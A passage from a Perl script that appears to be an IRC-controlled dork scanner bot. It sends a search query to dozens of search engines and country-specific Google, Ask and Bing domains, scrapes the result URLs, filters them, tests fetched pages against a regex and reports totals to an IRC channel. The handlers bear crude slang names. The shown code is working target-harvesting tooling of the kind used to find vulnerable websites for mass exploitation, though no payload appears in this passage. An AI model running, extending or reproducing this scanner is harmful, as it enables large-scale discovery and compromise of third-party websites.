  1063. if ($engine eq "Tunisia") { my @tunisia = jack5($dork."+site:tn"); push(@total,@tunisia); }
  1064. if ($engine eq "Uruguay") { my @uruguay = jack6($dork."+site:uy"); push(@total,@uruguay); }
  1065. if ($engine eq "Uzbekistan") { my @uzbekistan = jack7($dork."+site:uz"); push(@total,@uzbekistan); }
  1066. if ($engine eq "Venezuela") { my @venezuela = jack8($dork."+site:ve"); push(@total,@venezuela); }
  1067. if ($engine eq "Yemen") { my @yemen = jack9($dork."+site:ye"); push(@total,@yemen); }
  1068. if ($engine eq "Yugoslavia") { my @yugoslavia = jack10($dork."+site:yu"); push(@total,@yugoslavia); }
  1069. if ($engine eq "Zambia") { my @zambia = jack11($dork."+site:zm"); push(@total,@zambia); }
  1070. if ($engine eq "Uganda") { my @uganda = jack12($dork."+site:ug"); push(@total,@uganda); }
  1071. if ($engine eq "Trinidad") { my @trinidad = jack13($dork."+site:tt"); push(@total,@trinidad); }
  1072. if ($engine eq "Zimbabwe") { my @zimbabwe = jack14($dork."+site:zw"); push(@total,@zimbabwe); }
  1073. if ($engine eq "KonToL") { my @kontol = kontol($dork); push(@total,@kontol); }
  1074. if ($engine eq "PePek") { my @pepek = pepek($dork); push(@total,@pepek); }
  1075. if ($engine eq "TeTek") { my @tetek = tetek($dork); push(@total,@tetek); }
  1076. if ($engine eq "ItiL") { my @itil = itil($dork); push(@total,@itil); }
  1077. if ($engine eq "NenNen") { my @nennen = nennen($dork); push(@total,@nennen); }
  1078. if ($engine eq "SuSu") { my @susu = susu($dork); push(@total,@susu); }
  1079. if ($engine eq "BuahDada") { my @buahdada = buahdada($dork); push(@total,@buahdada); }
  1080. if ($engine eq "PayuDara") { my @payudara = payudara($dork); push(@total,@payudara); }
  1081. if ($engine eq "Kentot") { my @kentot = kentot($dork); push(@total,@kentot); }
  1082. if ($engine eq "eMeL") { my @emel = emel($dork); push(@total,@emel); }
  1083. if ($engine eq "OraL") { my @oral = oral($dork); push(@total,@oral); }
  1084. if ($engine eq "Klitoris") { my @klitoris = klitoris($dork); push(@total,@klitoris); }
  1085. if ($engine eq "Masturbasi") { my @masturbasi = masturbasi($dork); push(@total,@masturbasi); }
  1086. if ($engine eq "Onani") { my @onani = onani($dork); push(@total,@onani); }
  1087. if ($engine eq "Sperma") { my @sperma = sperma($dork); push(@total,@sperma); }
  1088. if ($engine eq "AnaL") { my @anal = anal($dork); push(@total,@anal); }
  1089. if ($engine eq "Puting") { my @puting = puting($dork); push(@total,@puting); }
  1090. if ($engine eq "Vagina") { my @vagina = vagina($dork); push(@total,@vagina); }
  1091. if ($engine eq "Penis") { my @penis = penis($dork); push(@total,@penis); }
  1092. if ($engine eq "MeMek") { my @memek = memek($dork); push(@total,@memek); }
  1093. if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); }
  1094. if ($engine eq "GooGLeCA") { my @googleCA = googleCA($dork); push(@total,@googleCA); }
  1095. if ($engine eq "GooGLeDE") { my @googleDE = googleDE($dork); push(@total,@googleDE); }
  1096. if ($engine eq "GooGLeUK") { my @googleUK = googleUK($dork); push(@total,@googleUK); }
  1097. if ($engine eq "GooGLeFR") { my @googleFR = googleFR($dork); push(@total,@googleFR); }
  1098. if ($engine eq "GooGLeES") { my @googleES = googleES($dork); push(@total,@googleES); }
  1099. if ($engine eq "GooGLeIT") { my @googleIT = googleIT($dork); push(@total,@googleIT); }
  1100. if ($engine eq "GooGLeNL") { my @googleNL = googleNL($dork); push(@total,@googleNL); }
  1101. if ($engine eq "GooGLeBE") { my @googleBE = googleBE($dork); push(@total,@googleBE); }
  1102. if ($engine eq "GooGLeCH") { my @googleCH = googleCH($dork); push(@total,@googleCH); }
  1103. if ($engine eq "GooGLeSE") { my @googleSE = googleSE($dork); push(@total,@googleSE); }
  1104. if ($engine eq "GooGLeDK") { my @googleDK = googleDK($dork); push(@total,@googleDK); }
  1105. if ($engine eq "GooGLeNO") { my @googleNO = googleNO($dork); push(@total,@googleNO); }
  1106. if ($engine eq "GooGLeNZ") { my @googleNZ = googleNZ($dork); push(@total,@googleNZ); }
  1107. if ($engine eq "GooGLeIE") { my @googleIE = googleIE($dork); push(@total,@googleIE); }
  1108. if ($engine eq "GooGLeBR") { my @googleBR = googleBR($dork); push(@total,@googleBR); }
  1109. if ($engine eq "GooGLeAR") { my @googleAR = googleAR($dork); push(@total,@googleAR); }
  1110. if ($engine eq "GooGLeCO") { my @googleCO = googleCO($dork); push(@total,@googleCO); }
  1111. if ($engine eq "GooGLeCU") { my @googleCU = googleCU($dork); push(@total,@googleCU); }
  1112. if ($engine eq "GooGLeCL") { my @googleCL = googleCL($dork); push(@total,@googleCL); }
  1113. if ($engine eq "GooGLeMX") { my @googleMX = googleMX($dork); push(@total,@googleMX); }
  1114. if ($engine eq "GooGLeAU") { my @googleAU = googleAU($dork); push(@total,@googleAU); }
  1115. if ($engine eq "GooGLeRU") { my @googleRU = googleRU($dork); push(@total,@googleRU); }
  1116. if ($engine eq "GooGLeAT") { my @googleAT = googleAT($dork); push(@total,@googleAT); }
  1117. if ($engine eq "GooGLePL") { my @googlePL = googlePL($dork); push(@total,@googlePL); }
  1118. if ($engine eq "GooGLeIL") { my @googleIL = googleIL($dork); push(@total,@googleIL); }
  1119. if ($engine eq "GooGLeTR") { my @googleTR = googleTR($dork); push(@total,@googleTR); }
  1120. if ($engine eq "GooGLeUA") { my @googleUA = googleUA($dork); push(@total,@googleUA); }
  1121. if ($engine eq "GooGLeGR") { my @googleGR = googleGR($dork); push(@total,@googleGR); }
  1122. if ($engine eq "GooGLeJP") { my @googleJP = googleJP($dork); push(@total,@googleJP); }
  1123. if ($engine eq "GooGLeCN") { my @googleCN = googleCN($dork); push(@total,@googleCN); }
  1124. if ($engine eq "GooGLeMY") { my @googleMY = googleMY($dork); push(@total,@googleMY); }
  1125. if ($engine eq "GooGLeTH") { my @googleTH = googleTH($dork); push(@total,@googleTH); }
  1126. if ($engine eq "GooGLeIN") { my @googleIN = googleIN($dork); push(@total,@googleIN); }
  1127. if ($engine eq "GooGLeKR") { my @googleKR = googleKR($dork); push(@total,@googleKR); }
  1128. if ($engine eq "GooGLeRO") { my @googleRO = googleRO($dork); push(@total,@googleRO); }
  1129. if ($engine eq "GooGLeTW") { my @googleTW = googleTW($dork); push(@total,@googleTW); }
  1130. if ($engine eq "GooGLeZA") { my @googleZA = googleZA($dork); push(@total,@googleZA); }
  1131. if ($engine eq "GooGLePT") { my @googlePT = googlePT($dork); push(@total,@googlePT); }
  1132. if ($engine eq "AsKCA") { my @askCA = askCA($dork); push(@total,@askCA); }
  1133. if ($engine eq "AsKDE") { my @askDE = askDE($dork); push(@total,@askDE); }
  1134. if ($engine eq "AsKIT") { my @askIT = askIT($dork); push(@total,@askIT); }
  1135. if ($engine eq "AsKUK") { my @askUK = askUK($dork); push(@total,@askUK); }
  1136. if ($engine eq "AsKFR") { my @askFR = askFR($dork); push(@total,@askFR); }
  1137. if ($engine eq "AsKES") { my @askES = askES($dork); push(@total,@askES); }
  1138. if ($engine eq "AsKRU") { my @askRU = askRU($dork); push(@total,@askRU); }
  1139. if ($engine eq "AsKNL") { my @askNL = askNL($dork); push(@total,@askNL); }
  1140. if ($engine eq "AsKEU") { my @askEU = askEU($dork); push(@total,@askEU); }
  1141. if ($engine eq "AsKPL") { my @askPL = askPL($dork); push(@total,@askPL); }
  1142. if ($engine eq "AsKAT") { my @askAT = askAT($dork); push(@total,@askAT); }
  1143. if ($engine eq "AsKSE") { my @askSE = askSE($dork); push(@total,@askSE); }
  1144. if ($engine eq "AsKDK") { my @askDK = askDK($dork); push(@total,@askDK); }
  1145. if ($engine eq "AsKNO") { my @askNO = askNO($dork); push(@total,@askNO); }
  1146. if ($engine eq "AsKAU") { my @askAU = askAU($dork); push(@total,@askAU); }
  1147. if ($engine eq "AsKBR") { my @askBR = askBR($dork); push(@total,@askBR); }
  1148. if ($engine eq "AsKMX") { my @askMX = askMX($dork); push(@total,@askMX); }
  1149. if ($engine eq "AsKJP") { my @askJP = askJP($dork); push(@total,@askJP); }
  1150. if ($engine eq "BingDE") { my @bingDE = bingDE($dork); push(@total,@bingDE); }
  1151. if ($engine eq "BingUK") { my @bingUK = bingUK($dork); push(@total,@bingUK); }
  1152. if ($engine eq "BingCA") { my @bingCA = bingCA($dork); push(@total,@bingCA); }
  1153. if ($engine eq "BingBR") { my @bingBR = bingBR($dork); push(@total,@bingBR); }
  1154. if ($engine eq "BingFR") { my @bingFR = bingFR($dork); push(@total,@bingFR); }
  1155. if ($engine eq "BingES") { my @bingES = bingES($dork); push(@total,@bingES); }
  1156. if ($engine eq "BingIT") { my @bingIT = bingIT($dork); push(@total,@bingIT); }
  1157. if ($engine eq "BingBE") { my @bingBE = bingBE($dork); push(@total,@bingBE); }
  1158. if ($engine eq "BingNL") { my @bingNL = bingNL($dork); push(@total,@bingNL); }
  1159. if ($engine eq "BingPT") { my @bingPT = bingPT($dork); push(@total,@bingPT); }
  1160. if ($engine eq "BingNO") { my @bingNO = bingNO($dork); push(@total,@bingNO); }
  1161. if ($engine eq "BingDK") { my @bingDK = bingDK($dork); push(@total,@bingDK); }
  1162. if ($engine eq "BingSE") { my @bingSE = bingSE($dork); push(@total,@bingSE); }
  1163. if ($engine eq "BingCH") { my @bingCH = bingCH($dork); push(@total,@bingCH); }
  1164. if ($engine eq "BingNZ") { my @bingNZ = bingNZ($dork); push(@total,@bingNZ); }
  1165. if ($engine eq "BingRU") { my @bingRU = bingRU($dork); push(@total,@bingRU); }
  1166. if ($engine eq "BingJP") { my @bingJP = bingJP($dork); push(@total,@bingJP); }
  1167. if ($engine eq "BingCN") { my @bingCN = bingCN($dork); push(@total,@bingCN); }
  1168. if ($engine eq "BingKR") { my @bingKR = bingKR($dork); push(@total,@bingKR); }
  1169. if ($engine eq "BingMX") { my @bingMX = bingMX($dork); push(@total,@bingMX); }
  1170. if ($engine eq "BingAR") { my @bingAR = bingAR($dork); push(@total,@bingAR); }
  1171. if ($engine eq "BingCL") { my @bingCL = bingCL($dork); push(@total,@bingCL); }
  1172. if ($engine eq "BingAU") { my @bingAU = bingAU($dork); push(@total,@bingAU); }
  1173. @clean = clean(@total);
  1174. if (@clean > 0){
  1175. &msg("$chan","7@10$engine11 Total:3 (".scalar(@total).")11 Clean:3 (".scalar(@clean).")");
  1176. }
  1177. return @clean;
  1178. }
  1179.  
  1180. #########################################
  1181.  
  1182. sub isFound() {
  1183. my $status = 0;
  1184. my $link = $_[0];
  1185. my $reqexp = $_[1];
  1186. my $res = get_content($link);
  1187. if ($res =~ /$reqexp/) { $status = 1 }
  1188. return $status;
  1189. }
  1190.  
  1191. sub get_content() {
  1192. my $url = $_[0];
  1193. my $ua = LWP::UserAgent->new(agent => $uagent);
  1194. $ua->timeout(20);
  1195. my $req = HTTP::Request->new(GET => $url);
  1196. my $res = $ua->request($req);
  1197. return $res->content;
  1198. }
  1199.  
  1200.  
  1201. ######################################### SEARCH ENGINE
  1202.  
  1203. sub jack1() {
  1204. my @list;
  1205. my $key = $_[0];
  1206. for (my $i=0; $i<=1000; $i+=100){
  1207. my $search = ($jack1.uri_escape($key)."&num=100&start=".$i);
  1208. my $res = search_engine_query($search);
  1209. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1210. my $link = $1;
  1211. if ($link !~ /google/){
  1212. my @grep = links($link);
  1213. push(@list,@grep);
  1214. }
  1215. }
  1216. }
  1217. return @list;
  1218. }
  1219.  
  1220. sub jack2() {
  1221. my @list;
  1222. my $key = $_[0];
  1223. for (my $i=0; $i<=1000; $i+=100){
  1224. my $search = ($jack2.uri_escape($key)."&num=100&start=".$i);
  1225. my $res = search_engine_query($search);
  1226. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1227. my $link = $1;
  1228. if ($link !~ /google/){
  1229. my @grep = links($link);
  1230. push(@list,@grep);
  1231. }
  1232. }
  1233. }
  1234. return @list;
  1235. }
  1236.  
  1237. sub jack3() {
  1238. my @list;
  1239. my $key = $_[0];
  1240. for (my $i=0; $i<=1000; $i+=100){
  1241. my $search = ($jack3.uri_escape($key)."&num=100&start=".$i);
  1242. my $res = search_engine_query($search);
  1243. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1244. my $link = $1;
  1245. if ($link !~ /google/){
  1246. my @grep = links($link);
  1247. push(@list,@grep);
  1248. }
  1249. }
  1250. }
  1251. return @list;
  1252. }
  1253.  
  1254. sub jack4() {
  1255. my @list;
  1256. my $key = $_[0];
  1257. for (my $i=0; $i<=1000; $i+=100){
  1258. my $search = ($jack4.uri_escape($key)."&num=100&start=".$i);
  1259. my $res = search_engine_query($search);
  1260. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1261. my $link = $1;
  1262. if ($link !~ /google/){
  1263. my @grep = links($link);
  1264. push(@list,@grep);
  1265. }
  1266. }
  1267. }
  1268. return @list;
  1269. }
  1270.  
  1271. sub jack5() {
  1272. my @list;
  1273. my $key = $_[0];
  1274. for (my $i=0; $i<=1000; $i+=100){
  1275. my $search = ($jack5.uri_escape($key)."&num=100&start=".$i);
  1276. my $res = search_engine_query($search);
  1277. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1278. my $link = $1;
  1279. if ($link !~ /google/){
  1280. my @grep = links($link);
  1281. push(@list,@grep);
  1282. }
  1283. }
  1284. }
  1285. return @list;
  1286. }
  1287.  
  1288. sub jack6() {
  1289. my @list;
  1290. my $key = $_[0];
  1291. for (my $i=0; $i<=1000; $i+=100){
  1292. my $search = ($jack6.uri_escape($key)."&num=100&start=".$i);
  1293. my $res = search_engine_query($search);
  1294. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1295. my $link = $1;
  1296. if ($link !~ /google/){
  1297. my @grep = links($link);
  1298. push(@list,@grep);
  1299. }
  1300. }
  1301. }
  1302. return @list;
  1303. }
  1304.  
  1305. sub jack7() {
  1306. my @list;
  1307. my $key = $_[0];
  1308. for (my $i=0; $i<=1000; $i+=100){
  1309. my $search = ($jack7.uri_escape($key)."&num=100&start=".$i);
  1310. my $res = search_engine_query($search);
  1311. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1312. my $link = $1;
  1313. if ($link !~ /google/){
  1314. my @grep = links($link);
  1315. push(@list,@grep);
  1316. }
  1317. }
  1318. }
  1319. return @list;
  1320. }
  1321.  
  1322. sub jack8() {
  1323. my @list;
  1324. my $key = $_[0];
  1325. for (my $i=0; $i<=1000; $i+=100){
  1326. my $search = ($jack8.uri_escape($key)."&num=100&start=".$i);
  1327. my $res = search_engine_query($search);
  1328. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1329. my $link = $1;
  1330. if ($link !~ /google/){
  1331. my @grep = links($link);
  1332. push(@list,@grep);
  1333. }
  1334. }
  1335. }
  1336. return @list;
  1337. }
  1338.  
  1339. sub jack9() {
  1340. my @list;
  1341. my $key = $_[0];
  1342. for (my $i=0; $i<=1000; $i+=100){
  1343. my $search = ($jack9.uri_escape($key)."&num=100&start=".$i);
  1344. my $res = search_engine_query($search);
  1345. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1346. my $link = $1;
  1347. if ($link !~ /google/){
  1348. my @grep = links($link);
  1349. push(@list,@grep);
  1350. }
  1351. }
  1352. }
  1353. return @list;
  1354. }
  1355.  
  1356. sub jack10() {
  1357. my @list;
  1358. my $key = $_[0];
  1359. for (my $i=0; $i<=1000; $i+=100){
  1360. my $search = ($jack10.uri_escape($key)."&num=100&start=".$i);
  1361. my $res = search_engine_query($search);
  1362. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1363. my $link = $1;
  1364. if ($link !~ /google/){
  1365. my @grep = links($link);
  1366. push(@list,@grep);
  1367. }
  1368. }
  1369. }
  1370. return @list;
  1371. }
  1372.  
  1373. sub jack11() {
  1374. my @list;
  1375. my $key = $_[0];
  1376. for (my $i=0; $i<=1000; $i+=100){
  1377. my $search = ($jack11.uri_escape($key)."&num=100&start=".$i);
  1378. my $res = search_engine_query($search);
  1379. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1380. my $link = $1;
  1381. if ($link !~ /google/){
  1382. my @grep = links($link);
  1383. push(@list,@grep);
  1384. }
  1385. }
  1386. }
  1387. return @list;
  1388. }
  1389.  
  1390. sub jack12() {
  1391. my @list;
  1392. my $key = $_[0];
  1393. for (my $i=0; $i<=1000; $i+=100){
  1394. my $search = ($jack12.uri_escape($key)."&num=100&start=".$i);
  1395. my $res = search_engine_query($search);
  1396. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1397. my $link = $1;
  1398. if ($link !~ /google/){
  1399. my @grep = links($link);
  1400. push(@list,@grep);
  1401. }
  1402. }
  1403. }
  1404. return @list;
  1405. }
  1406.  
  1407. sub jack13() {
  1408. my @list;
  1409. my $key = $_[0];
  1410. for (my $i=0; $i<=1000; $i+=100){
  1411. my $search = ($jack13.uri_escape($key)."&num=100&start=".$i);
  1412. my $res = search_engine_query($search);
  1413. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1414. my $link = $1;
  1415. if ($link !~ /google/){
  1416. my @grep = links($link);
  1417. push(@list,@grep);
  1418. }
  1419. }
  1420. }
  1421. return @list;
  1422. }
  1423.  
  1424. sub jack14() {
  1425. my @list;
  1426. my $key = $_[0];
  1427. for (my $i=0; $i<=1000; $i+=100){
  1428. my $search = ($jack14.uri_escape($key)."&num=100&start=".$i);
  1429. my $res = search_engine_query($search);
  1430. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1431. my $link = $1;
  1432. if ($link !~ /google/){
  1433. my @grep = links($link);
  1434. push(@list,@grep);
  1435. }
  1436. }
  1437. }
  1438. return @list;
  1439. }
  1440.  
  1441. sub jack15() {
  1442. my @list;
  1443. my $key = $_[0];
  1444. for (my $i=0; $i<=1000; $i+=100){
  1445. my $search = ($jack15.uri_escape($key)."&num=100&start=".$i);
  1446. my $res = search_engine_query($search);
  1447. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1448. my $link = $1;
  1449. if ($link !~ /google/){
  1450. my @grep = links($link);
  1451. push(@list,@grep);
  1452. }
  1453. }
  1454. }
  1455. return @list;
  1456. }
  1457.  
  1458. sub jack16() {
  1459. my @list;
  1460. my $key = $_[0];
  1461. for (my $i=0; $i<=1000; $i+=100){
  1462. my $search = ($jack16.uri_escape($key)."&num=100&start=".$i);
  1463. my $res = search_engine_query($search);
  1464. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1465. my $link = $1;
  1466. if ($link !~ /google/){
  1467. my @grep = links($link);
  1468. push(@list,@grep);
  1469. }
  1470. }
  1471. }
  1472. return @list;
  1473. }
  1474.  
  1475. sub jack17() {
  1476. my @list;
  1477. my $key = $_[0];
  1478. for (my $i=0; $i<=1000; $i+=100){
  1479. my $search = ($jack17.uri_escape($key)."&num=100&start=".$i);
  1480. my $res = search_engine_query($search);
  1481. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1482. my $link = $1;
  1483. if ($link !~ /google/){
  1484. my @grep = links($link);
  1485. push(@list,@grep);
  1486. }
  1487. }
  1488. }
  1489. return @list;
  1490. }
  1491.  
  1492. sub jack18() {
  1493. my @list;
  1494. my $key = $_[0];
  1495. for (my $i=0; $i<=1000; $i+=100){
  1496. my $search = ($jack18.uri_escape($key)."&num=100&start=".$i);
  1497. my $res = search_engine_query($search);
  1498. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1499. my $link = $1;
  1500. if ($link !~ /google/){
  1501. my @grep = links($link);
  1502. push(@list,@grep);
  1503. }
  1504. }
  1505. }
  1506. return @list;
  1507. }
  1508.  
  1509. sub jack19() {
  1510. my @list;
  1511. my $key = $_[0];
  1512. for (my $i=0; $i<=1000; $i+=100){
  1513. my $search = ($jack19.uri_escape($key)."&num=100&start=".$i);
  1514. my $res = search_engine_query($search);
  1515. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1516. my $link = $1;
  1517. if ($link !~ /google/){
  1518. my @grep = links($link);
  1519. push(@list,@grep);
  1520. }
  1521. }
  1522. }
  1523. return @list;
  1524. }
  1525.  
  1526. sub jack20() {
  1527. my @list;
  1528. my $key = $_[0];
  1529. for (my $i=0; $i<=1000; $i+=100){
  1530. my $search = ($jack20.uri_escape($key)."&num=100&start=".$i);
  1531. my $res = search_engine_query($search);
  1532. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1533. my $link = $1;
  1534. if ($link !~ /google/){
  1535. my @grep = links($link);
  1536. push(@list,@grep);
  1537. }
  1538. }
  1539. }
  1540. return @list;
  1541. }
  1542.  
  1543. sub kontol() {
  1544. my @list;
  1545. my $key = $_[0];
  1546. for (my $i=0; $i<=500; $i+=30){
  1547. my $search = ("http://www.google.com/search?q=".uri_escape($key)."&num=100&filter=0&start=".$i);
  1548. my $res = search_engine_query($search);
  1549. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1550. my $link = $1;
  1551. if ($link !~ /google/){
  1552. my @grep = links($link);
  1553. push(@list,@grep);
  1554. }
  1555. }
  1556. }
  1557. return @list;
  1558. }
  1559.  
  1560. sub pepek() {
  1561. my @list;
  1562. my $key = $_[0];
  1563. for ($b=0; $b<=100; $b+=1) {
  1564. my $search = ("http://search.walla.co.il/?q=".uri_escape($key)."&type=text&page=".$b);
  1565. my $res = search_engine_query($search);
  1566. while ($res =~ m/<a href=\"http:\/\/(.+?)\" title=/g) {
  1567. my $link = $1;
  1568. if ($link !~ /walla\.co\.il/){
  1569. my @grep = links($link);
  1570. push(@list,@grep);
  1571. }
  1572. }
  1573. }
  1574. return @list;
  1575. }
  1576.  
  1577. sub tetek(){
  1578. my @list;
  1579. my $key = $_[0];
  1580. for ($b=1; $b<=1000; $b+=10) {
  1581. my $search = ("http://search.yahoo.com/search?p=".uri_escape($key)."&b=".$b);
  1582. my $res = search_engine_query($search);
  1583. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  1584. my $link = $1;
  1585. if ($link !~ /yahoo\.com/){
  1586. my @grep = links($link);
  1587. push(@list,@grep);
  1588. }
  1589. }
  1590. }
  1591. return @list;
  1592. }
  1593.  
  1594. sub itil() {
  1595. my @list;
  1596. my $key = $_[0];
  1597. for (my $i=1; $i<=500; $i+=30) {
  1598. my $search = ("http://uk.ask.com/web?q=".uri_escape($key)."&qsrc=1&frstpgo=0&o=0&l=dir&qid=05D10861868F8C7817DAE9A6B4D30795&page=".$i."&jss=");
  1599. my $res = search_engine_query($search);
  1600. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  1601. my $link = $1;
  1602. if ($link !~ /ask\.com/){
  1603. my @grep = links($link);
  1604. push(@list,@grep);
  1605. }
  1606. }
  1607. }
  1608. return @list;
  1609. }
  1610.  
  1611. sub nennen() {
  1612. my @list;
  1613. my $key = $_[0];
  1614. my $b = 0;
  1615. for ($b=1; $b<=400; $b+=10) {
  1616. my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".uri_escape($key));
  1617. my $res = search_engine_query($search);
  1618. while ($res =~ m/<a href=\"http:\/\/(.*?)\">/g) {
  1619. my $link = $1;
  1620. if ($link !~ /onet|webcache|query/){
  1621. my @grep = links($link);
  1622. push(@list,@grep);
  1623. }
  1624. }
  1625. }
  1626. return @list;
  1627. }
  1628.  
  1629. sub susu() {
  1630. my @list;
  1631. my $key = $_[0];
  1632. my $b = 0;
  1633. for ($b=10; $b<=200; $b+=10) {
  1634. my $search = ("http://new.yippy.com/search?input-form=clusty-simple&v%3Asources=webplus-ns-aaf&v%3Aproject=clusty&query=".uri_escape($key)."&v:state=root|root-".$b."-20|0&");
  1635. my $res = search_engine_query($search);
  1636. if ($res !~ /next/) {$b=100;}
  1637. while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
  1638. my $link = $1;
  1639. if ($1 !~ /yippy\.com/){
  1640. my @grep = links($link);
  1641. push(@list,@grep);
  1642. }
  1643. }
  1644. }
  1645. return @list;
  1646. }
  1647.  
  1648. sub buahdada() {
  1649. my @list;
  1650. my $key = $_[0];
  1651. for (my $i=1; $i<=400; $i+=10) {
  1652. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&first=".$i);
  1653. my $res = search_engine_query($search);
  1654. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  1655. my $link = $1;
  1656. if ($link !~ /google/) {
  1657. my @grep = links($link);
  1658. push(@list,@grep);
  1659. }
  1660. }
  1661. }
  1662. return @list;
  1663. }
  1664.  
  1665. sub payudara(){
  1666. my @list;
  1667. my $key = $_[0];
  1668. for ($b=1; $b<=50; $b+=1) {
  1669. my $search = ("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$b."&q=".uri_escape($key)."&st=local");
  1670. my $res = search_engine_query($search);
  1671. if ($res !~ m/Next/i) {$b=50;}
  1672. while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
  1673. my $link = $1;
  1674. if ($1 !~ /\.sapo\.pt/){
  1675. my @grep = links($link);
  1676. push(@list,@grep);
  1677. }
  1678. }
  1679. }
  1680. return @list;
  1681. }
  1682.  
  1683. sub kentot() {
  1684. my @list;
  1685. my $key = $_[0];
  1686. for ($b=0; $b<=50; $b+=1) {
  1687. my $search = ("http://search.lycos.com/web?q=".uri_escape($key)."&pn=".$b);
  1688. my $res = search_engine_query($search);
  1689. while ($res =~ m/title=\"http:\/\/(.*?)\"/g) {
  1690. my $link = $1;
  1691. if ($link !~ /lycos\.com/){
  1692. my @grep = links($link);
  1693. push(@list,@grep);
  1694. }
  1695. }
  1696. }
  1697. return @list;
  1698. }
  1699.  
  1700. sub emel() {
  1701. my @list;
  1702. my $key = $_[0];
  1703. for ($b=0; $b<=1000; $b+=10) {
  1704. my $search = ("http://busca.uol.com.br/web/?ref=homeuol&q=".uri_escape($key)."&start=".$b);
  1705. my $res = search_engine_query($search);
  1706. if ($res =~ m/retornou nenhum resultado/i) {$b=500;}
  1707. while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) {
  1708. my $link = $1;
  1709. if ($link !~ /uol\.com\.br|\/web/i){
  1710. my @grep = links($link);
  1711. push(@list,@grep);
  1712. }
  1713. }
  1714. }
  1715. return @list;
  1716. }
  1717.  
  1718. sub oral() {
  1719. my @list;
  1720. my $key = $_[0];
  1721. for ($b=0; $b<=50; $b+=1) {
  1722. my $search = ("http://www.hotbot.com/search/web?pn=".$b."&q=".uri_escape($key));
  1723. my $res = search_engine_query($search);
  1724. if ($res =~ m/had no web result/i) {$b=50;}
  1725. while ($res =~ m/href=\"http:\/\/(.+?)\" title=/g) {
  1726. my $link = $1;
  1727. if ($link !~ /hotbot\.com/){
  1728. my @grep = links($link);
  1729. push(@list,@grep);
  1730. }
  1731. }
  1732. }
  1733. return @list;
  1734. }
  1735.  
  1736. sub klitoris() {
  1737. my @list;
  1738. my $key = $_[0];
  1739. for ($b=0; $b<=300; $b+=10) {
  1740. my $search = ("http://search.aol.com/aol/search?q=".uri_escape($key)."&page=".$b);
  1741. my $res = search_engine_query($search);
  1742. while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
  1743. my $link = $1;
  1744. if ($link !~ /aol\.com/){
  1745. my @grep = links($link);
  1746. push(@list,@grep);
  1747. }
  1748. }
  1749. }
  1750. return @list;
  1751. }
  1752.  
  1753. sub masturbasi() {
  1754. my $key = $_[0];
  1755. my @list;
  1756. for ($b=1; $b<=500; $b+=10) {
  1757. $num += $num;
  1758. my $search = "http://cgi.search.biglobe.ne.jp/cgi-bin/search-st_lp2?start=".$b."&ie=utf8&num=".$num."&q=".uri_escape($key)."&lr=all";
  1759. my $res = search_engine_query($search);
  1760. while ( $res =~ m/<a href=\"http:\/\/(.+?)\"/g ) {
  1761. my $link = $1;
  1762. if ($link !~ /biglobe/){
  1763. my @grep = links($link);
  1764. push(@list,@grep);
  1765. }
  1766. }
  1767. }
  1768. return @list;
  1769. }
  1770.  
  1771. sub onani() {
  1772. my @list;
  1773. my $key = $_[0];
  1774. my $b = 0;
  1775. my @doms = ("nl","au","br","ca","de","es","fr","it","uk");
  1776. foreach my $domain (@doms) { $dom = $doms[rand(scalar(@doms))];
  1777. for (my $i=1; $i<=500; $i+=30) {
  1778. my $search = ("http://".$domain.".search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
  1779. my $res = search_engine_query($search);
  1780. while ($res =~ m/http\%3a\/\/(.+?)\//g) {
  1781. if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = links($link); push(@list,@grep);
  1782. }
  1783. }
  1784. } return @list;
  1785. }
  1786.  
  1787. sub sperma() {
  1788. my @list;
  1789. my $key = $_[0];
  1790. for (my $i=10; $i<=1000; $i+=100){
  1791. my $search = ("http://www.kvasir.no/nettsok?q=".$i."&pageSize=100&q=".uri_escape($key)."");
  1792. my $res = search_engine_query($search);
  1793. while ($res =~ m/href=\"http:\/\/(.+?)\//g) {
  1794. my $link = $1; if ($link !~ /kvasir/){ $link =~ s/<//g; $link =~ s/ //g; my @grep = links($link); push(@list,@grep);
  1795. }
  1796. }
  1797. }
  1798. return @list;
  1799. }
  1800.  
  1801. sub anal() {
  1802. my @lst;
